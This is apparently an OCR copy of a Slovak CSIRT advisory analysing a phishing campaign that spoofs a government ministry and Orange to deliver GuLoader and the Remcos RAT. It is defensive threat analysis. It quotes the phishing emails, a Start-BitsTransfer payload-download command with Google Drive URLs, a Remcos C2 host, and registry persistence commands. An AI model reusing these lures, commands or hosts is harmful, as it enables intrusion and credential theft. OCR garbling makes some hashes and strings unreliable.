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Varovanie
MIRRI SR: Zaznamenany kyberneticky utok falSuje meno ministerstva a inych
organizacii

Remcos RAT + analyza

Ministerstvo investicii, regionalneho rozvoja a informatizacie SR (MIRRI SR) zaznamenalo nebezpecnu
e-mailovu spear-phishingovid kampan. Kyberneticky utok falSuje a zneuziva dobré meno MIRRI SR.

Obsah e-mailu, ktory podvodnici rozposielaji, suvisi s pozvankou na predloZenie cenovej ponuky
nespecifikovaného tovaru alebo sluzby a odkazuje na subor v prilohe. Predmet zachytenej verzie
emailu je ,RFQ-MIRRI SR-09015-131123//05432CMU/SK".

Utocnici falduju e-mailovi adresu ip/@mirri.gov.sk a totoZznost nemenovanej generélnej riaditelky
jednej zo sekcii MIRRI SR. Tymito krokmi sa snaZia vzbudit déveru obete a dosiahnut, aby otvorila
Skodlivy subor, ktory predstavuje prvé stadium malvéru.

Received: from [72.251.232.30] (port=53619)
by ns3.p201.dns.oraclecloud.net with esmtpsa (TLS1.3) tls TLS_AES 256 GCM SHA384
(Exim 4.96.2)
(envelope-from <ipl@mirri.gov.sk>)

id 1r2V5Q-001Ivc-2K

Mon, 13 Nov 2023 06:26:36 -0500
From: UTF-82B2SW5nLiBEb21pbmlrYSBTZW1hbm92w6EgL SBNaW5pc3R1cnNO@dmEgal52ZXNOw61jacOt?= <ipl@mir‘r‘i.gov.sk>|
Subject: RFQ-MIRRI SR-89015-131123//05432CMU/SK

Dobry def,

Ministerstvo investicii si Vas dovoluje pozvat na tcely Ziadosti o cenovii ponuku podTa priloZzeného stboru.

PODMIENKY:

Za prepravu musi zodpovedaf dodévatel a naklady musia byt zahrnuté v rozpotte.

* Cenova ponuka musi byt na mnoZstvo poZadované v objednavke.

* Uvedené ceny musia zahffiat DPH.

* Detailny ¢as dodania a platnost ponuky.

* Uvedte hmotnosf, rozmery a HS kod materialu,

* Vo svojej cenovej ponuke vopred uvedte, & je uvedend polozka nahradou/alternativou

*DOLEZITE!!!* PLATOBNA PODMIENKA MUSI BYT 90 DNI ALEBO INAK DO 60 DNI (AK AKCEPTUJETE 30 DNI, OZNAMTE SA).
Odteraz ¢akam na odpoved.

Vopred Vam dakujem za spolupracu.

S pozdravom

Generalna riaditefka |
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Pribinova 25 | 811 09 Bratislava | Slovenska republika

Upozornenie

Autorom tejto spravy elektronickej poity je Tato sprava je uréena vyluéne fej adresatovi. Informacie a ddaje, ktoré s
Vas, Ze informacie a udaje v nef uvedené nie ste opravneny spracuvat, ani ich spristupnif alebo poskytnuf tretej osobe alebo ich zverejnit
2a déverny. Jeho obsch neméie byt postupeny, duplikovany, vyuiivany alebo spristupneny bez méjho vyslovného povolenia

> 1 1 priloha: RFQ-MIRRI SR-09015-131123.

TLP: CLEAR
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Zavaznost: Vysoka
Mozné skody:

* Unik citlivych informacii
¢ Vzdialené vykonavanie kédu

Zranitelné systémy: OS Windows

Analyza

VJ CSIRT vykonala analyzu skodlivej prilohy s nasledovnymi zisteniami.
Priloha e-mailu je stibor s nazvom RFQ-MIRRI SR-09015-131123pdf.zip

® SHA-1: 8956A953AF055C69DF3AD3DEACC328C5D9163491
* MD5: dda0e443b66b741765a004cf22bc0b329.
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Archiv obsahuje subor RFQ-MIRRI SR-09015-131123-pdf.vbs
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TLP: CLEAR


https://www.virustotal.com/gui/file/be3551e717630312065f5c5d9786847a381c2fe9cd387b5c343c8eaa14584821
https://www.virustotal.com/gui/file/be3551e717630312065f5c5d9786847a381c2fe9cd387b5c343c8eaa14584821
https://www.virustotal.com/gui/file/be3551e717630312065f5c5d9786847a381c2fe9cd387b5c343c8eaa14584821
https://www.virustotal.com/gui/file/694617e9be11fd7c0deed88781cd3cd4531aea81b27489089b3599781541cad9
https://www.virustotal.com/gui/file/694617e9be11fd7c0deed88781cd3cd4531aea81b27489089b3599781541cad9
https://www.virustotal.com/gui/file/694617e9be11fd7c0deed88781cd3cd4531aea81b27489089b3599781541cad9
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Ide o obfuskovany VBScript skript ktorého hlavna tloha je spustit prikaz:

Start-BitsTransfer -Source
https[.//]drive[.]google[.Jcom/uc?export=download&id=1eTKCx6xumUROr-cNIm9fSmx-ePOn_okn
Destination "C:\Users\[username]\AppData\Roaming\Steermans.ide"

Subor sa na serveri vola Komma.lpk, u klienta sa uloZi ako Steermans.lde.
® SHA-1: 66647E15B53B1EBDD1E54CA55F105BF66F931B68B
e MD5: 09012dea074d01aefbbfe010492b1305
e f216b2fadcd1978e8167cec7d20fe7178a23ab79ebddéea’ba71cc41932b66250
Komma.lpk

text

Community Score

Zdroj: https://www.virustotal.com/gui/file/f216b2fadcd1978e8167cec7d20fe7178a23ab79ebdd6ea5a71cca4f932b66250

Tento subor obsahuje base64 kodovany obfuskovany powershell skript ktory si vytvara prikazy z
hexadecimalnych textov z ktorych urobi xorované charcodes a tie prevedie na text prikazu.

Skript si alokuje pamit vo svojom Powershell procese a skopiruje do nej ¢ast siboru Steermans.lde.

Druhu cast suboru skopiruje do dalSej alokovanej pamate. Tento shellcode potom spusti cez metédu
CallWindowProcA. Prva Cast slizi ako dekryptor druhej Casti.

Novy shellcode spusta legitimny proces wab.exe ktory si stiahne d'alsi stage z:
https[.//]drive.google[.Jcom/uc?export=download&id=1In_7YYK5uUARZhyEAIMpMGGpOIRAU5tG
Ide o stibor mFRImkzFZHv11.bin

® SHA-1: FGE30308BFA3C6CBFESAE6A764986A40BA9B764D
* MD5: 0c63032a8acaa6a4686ef4f4ab802287

Downloader shellcode je znamy malvér Guloader. Malvér Guloader stahuje finalny paylod korym je
Remote Access Tool Remcos.

Konfiguracia Remcosu obsahuje nasledovné dolezité premenné:

Botnet: RemoteHost

C2: a458386d9.duckdns.org:3256
copy_file: remcos.exe
copy_folder: Remcos
keylog_file: logs.dat
keylog_folder:remcos
mutex:Rmc-42EOAE
screenshot_path: %AppData%
screenshot_folder: Screenshots

TLP: CLEAR


https://www.virustotal.com/gui/file/f216b2fa4cd1978e8167cec7d20fe7178a23ab79ebdd6ea5a71cc4f932b66250
https://www.virustotal.com/gui/file/f216b2fa4cd1978e8167cec7d20fe7178a23ab79ebdd6ea5a71cc4f932b66250
https://www.virustotal.com/gui/file/f216b2fa4cd1978e8167cec7d20fe7178a23ab79ebdd6ea5a71cc4f932b66250
https://success.trendmicro.com/dcx/s/solution/1123281-remcos-malware-information?language=en_US&sfdcIFrameOrigin=null
https://success.trendmicro.com/dcx/s/solution/1123281-remcos-malware-information?language=en_US&sfdcIFrameOrigin=null
https://success.trendmicro.com/dcx/s/solution/1123281-remcos-malware-information?language=en_US&sfdcIFrameOrigin=null
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Ziskané prihlasovacie tdaje a dalSie extrahované informacie malvér uklada v Sifrovanej podobe v
subore

C:\ProgramData\remcos\logs.dat
Proces wab.exe zabezpecuje perzistenciu cez kl'u¢

Software\Microsoft\Windows\CurrentVersion\Run\Ublufr kde pridd hodnotu "%Poka4% -w 1
SBulgarere114=(Get-ItemProperty -Path 'HKCU:\\Brither\\').Kokkepig; %Poka4% (SBulgarere114)".

Poka4 je premenna prostredia ktora ma ukazovat na Powershell.exe ale posledné "e" v nej chyba.

V klG¢i HKCU:\Brither\Kokkepig je skript zo siboru Steermans.Ide.

Malvér tiez vypina UAC aby si zabezpecil vyssie opravnenia.

Odportcania:

* Okamzité odpojenie stroja od internetu (odpojenie od ethernetu, vypnutie sietovych rozhrani
v ovladacom paneli OS)

® Zmenit prihlasovacie Gdaje ku vietkym online Gétom a sluzbam, na ktoré ste pristupovali z
napadnutého stroja

¢ Kontrola identifikatorov kompromitacie v infrastruktire a v napadnutom stroji (sietové
zaznamy, registre OS, existencia suborov spojenych s malvérom)

¢ VVytvorenie zalohy osobnych stborov (na offline tloZisko) a nasledné preskenovanie
Antivirusovym softvérom, podla zisteni z vysSie uvedenych informacii z VirusTotal)

¢ Reinstalovanie napadnutého stroja (format disku, nova instalacia / format disku a obnova zo
zalohy, ktora sa ale nenachadzala v pocitaci pocas kompromitacie — offline ulozené zalohy)
Prechadzanie podobnym incidentom

V ramci kampane su rozposielané rozne prilohy s réznymi mutaciami/variaciami a nie vsetky
antivirusové programy ich dokazu véas zachytit.

VJ CSIRT predpoklad3, ze takychto e-mailov je aktualne v obehu vacsie mnoizstvo a ide o velmi
rozsiahlu kampan.

TLP: CLEAR
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Predchadzanie podobnym incidentom

Podvodnici sa neustdle zdokonaluju, okrem kontroly odosielatelovej e-mailovej adresy a spravnosti
napisaného textu je potrebné davat vaési pozor na prilohy.

Prilohy vo formatoch, ako napriklad: .zip, .7z, .rar, .PDF, .doc, .docm, .dotm, .exe, .ppt, .pptm, .potm,
.ppsm, .ppam, .ppa, .xls, .xIsm, .xlIsb, .xltm, .xlIt, .xlam, .pif, .application, .gadget, .msi, .msp, .com,
.scr, .hta, .cpl, .msgc, .jar, .bat, .cmd, .vb, .vbs, .vbe, .js, .jse, .ws, .wsf, .wsc, .wsh, .ps1, .pslxml, .ps2,
.ps2xml, .pscl, .psc2, .msh, .msh1, .msh2, . mshxml, .mshixml, .msh2xml, .scf, .Ink, .inf, .reg, .sldm a
dalsie.

Je potrebné si vidy overit, ¢i Vam odosielatel e-mailovej spravy skuto¢ne takuto prilohu zaslal.

Rovnaky postup plati, ak je v e-mailovej sprave URL odkaz, ktory vyZaduje osobné/citlivé informacie,
alebo nabada riesit Ziadosti/ponuky s urgenciou — naliehavo, neodkladne...

VJ CSIRT zaroven zaznamenala dalSie, podobné e-mailové spravy, ktoré s zasielané z rovnakej
IP/sluzby a snaZia sa podvrhnut e-mailovi adresu. Kampan ma rovnaky modus operandi.

Received: from [72.251.232.30] (port=61101)
by ns3.p201.dns.oraclecloud.net with esmtpsa (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.96.2)
(envelope-from <faktura@orange.sk>)

id 1r3B3r-001ntU-0U
Wed, 15 Nov 2023 03:15:46 -0500
From: Orange - faktura <faktura@orange.sk>
Subject: =2UTF-82?B?RWx1a3Ryb25pY2vDvSBkb2tsYWQgLSBGYWtOw7pyYQ==2=

orange- 3
logo.png Faktura

Suma na thradu 173,52 €

Fakturacné obdobie Splatnost’ do 16. 11. 2023
15. 10. 2023 - 14. 11. 2023 Variabilny symbol: 0197461635

VaZeny zakaznik,

zasielame Vam elektronicki faktiru (v prilohe) za predchadzajice fakturacné
obdobie.

Dakujeme, Ze ste s nami.

Prehlad faktury

Mesacné poplatky 154,59 €
Iné poplatky 38,00 €
Spotreba 7.44¢€
Zravy -4511€
Splatky 18,60 €
Celkova suma na uhradu 173,52 €

[/ 1 priloha: Faktéyra 019746163 pdf.zip 124 kB

TLP: CLEAR
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amy
4 () 4 security vendors and 1sandbox flagged this file as malicious (> Reanalyze
160 18b75005950d9e39alebSce18453e23e00ddech2ac941967686f8a27b2db9ef9 Size Last Ar
- Faktira_019746163-pdfvbe 25189 KB 52 min
(<] javascript  cve-2016-2569  exploit
Community Score
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 3
Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an AP key to automate checks.
Popular threat label (1) trojan.sagent Threat categories trojan Family labels sagent
Security vendors' analysis () Do you
Google @ Detected Kaspersky @ HEUR:Trojan.VBS.SAgent.gen
Varist @ VBS/Agent.BFN ZoneAlarm by Check Point @ HEUR:TrojanVBS.SAgent.gen

Zdroj: https://www.virustotal.com/gui/file/18b75005950d9e39aleb5ce18453e23e00ddecb2ac941967686f8a27b2db9ef9

Priloha e-mailu je subor s ndzvom Fakt€ra_019746163€pdf.zip

SHA-1: DA53CBOEC3734C1B4E366509AC403774893C66CB

MD5: b445e01d90e576bc7068d436882ef8d5

Archiv obsahuje subor Faktira_019746163-pdf.vbe

MD5: c2d91d1d271983f5d3ddcc6229d572f1
SHA-1:42214503d23d5f889b2ca926b9b56971fe593fc2

Ide o obfuskovany VBScript skript ktorého hlavna uloha je spustit prikaz:

Start-BitsTransfer -Source
https[.//]drive.google[.]Jcom/uc?export=download&id=1LV048PzXm-3xSfsHkm3UWmoDxV-3IngH
Suabor sa na serveri vola Obelionsta.fla, ulozi sa ako

C:\Users\windows\AppData\Roaming\Fennosk.Ami

SHA-1: 8313F15135371A044A48BD342EE04152D092B9%A6
MD5: a245ea1e5871e4b1d0ccb17b6aa8d6ed

TLP: CLEAR


https://www.virustotal.com/gui/file/18b75005950d9e39a1eb5ce18453e23e00ddecb2ac941967686f8a27b2db9ef9
https://www.virustotal.com/gui/file/18b75005950d9e39a1eb5ce18453e23e00ddecb2ac941967686f8a27b2db9ef9
https://www.virustotal.com/gui/file/18b75005950d9e39a1eb5ce18453e23e00ddecb2ac941967686f8a27b2db9ef9
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Rovnako poskladany shellcode spusta legitimny proces wab.exe ktory si stiahne dalsi stage z:

https/[://]drive.google[.Jcom/uc?export=download&id=1LXAI0p9ZnYifqUtjbiOIUTXVWZ9Gh1KV —

Ide o stibor CYvWg139.bin

SHA-1: B70C513C51783DC466D90B3B5867E02DDF594E11
MD5: fae7ab646200e98fafcdaacceab0f63b

Rovnako ide o downloader shellcode zndmy ako malvér Guloader. Malvér Guloader stahuje finalny
paylod korym je rovnako Remote Access Tool Remcos.

Konfiguracia Remcosu obsahuje rovnaké premenné:

Botnet: RemoteHost

C2: a458386d9.duckdns.org:3256
copy_file: remcos.exe
copy_folder: Remcos
keylog_file: logs.dat
keylog_folder: remcos

mutex: Rmc-42EOAE
screenshot_path: %AppData%
screenshot_folder: Screenshots

Vytvorenie perzistencie je mierne rozdielne

Proces wab.exe zabezpecuje perzistenciu cez pozmeneny klu¢

Software\Microsoft\Windows\CurrentVersion\Run\Safa = "%Poka4% -w 1 SFolke=(Get-ItemProperty
-Path 'HKCU:\\Trutin\\').Apocryp;%Poka4% (SFolke)"

Podla zisteni z analyzy suborov konstatujeme, Ze ide pravdepodobne o jednu rozsiahlu kampan.

Utocnik pouZiva sluzbu BITS na stiahnutie $kodlivého kédu pomocou Google disku, ktorého URI sa
méZe menit.

Rovnaky proces je aj pri uloZeni siboru do Roaming adresara, spustenie procesu wab.exe s pomocou
powershell a vypnutie UAC.

Utocnik rovnako priddva novu systémovu premennt prostredia pre powershell a novi polozku v Run
kfuci kde je predmetnd systémova premenna poutzita.

Utoénik meni URI na Google disk, nazvy stborov a cesty pre ukladanie suborov a tak vytvéra nové
mutdcie/variacie, na ktoré antivirusy reaguji oneskorene.

TLP: CLEAR


https://success.trendmicro.com/dcx/s/solution/1123281-remcos-malware-information?language=en_US&sfdcIFrameOrigin=null
https://success.trendmicro.com/dcx/s/solution/1123281-remcos-malware-information?language=en_US&sfdcIFrameOrigin=null
https://success.trendmicro.com/dcx/s/solution/1123281-remcos-malware-information?language=en_US&sfdcIFrameOrigin=null

